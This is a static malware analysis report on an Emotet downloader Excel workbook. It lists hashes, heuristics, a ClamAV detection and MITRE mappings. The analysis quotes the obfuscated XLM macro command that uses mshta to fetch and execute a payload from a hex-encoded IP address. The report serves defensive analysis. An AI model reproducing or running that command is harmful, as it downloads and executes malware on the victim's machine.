Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 9f434e46cbfe4018…

MALICIOUS

Office (OLE) / .XLS

102.0 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel
MD5: e36d51b25fd1c2f0883a490e2882d6dd SHA-1: 889b270222abddc0ae5e54a0b7d0ef52d2688892 SHA-256: 9f434e46cbfe401813a99a50cba607ef539d290349236095e7323542618e0ba1
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: User Execution of Malicious File

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies the file as an Emotet downloader. The extracted XLM macro explicitly contains the string 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html', which is a command to download and execute a payload from the specified URL. This strongly suggests the file's purpose is to act as a downloader for further malicious activity, consistent with Emotet's behavior.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2903 bytes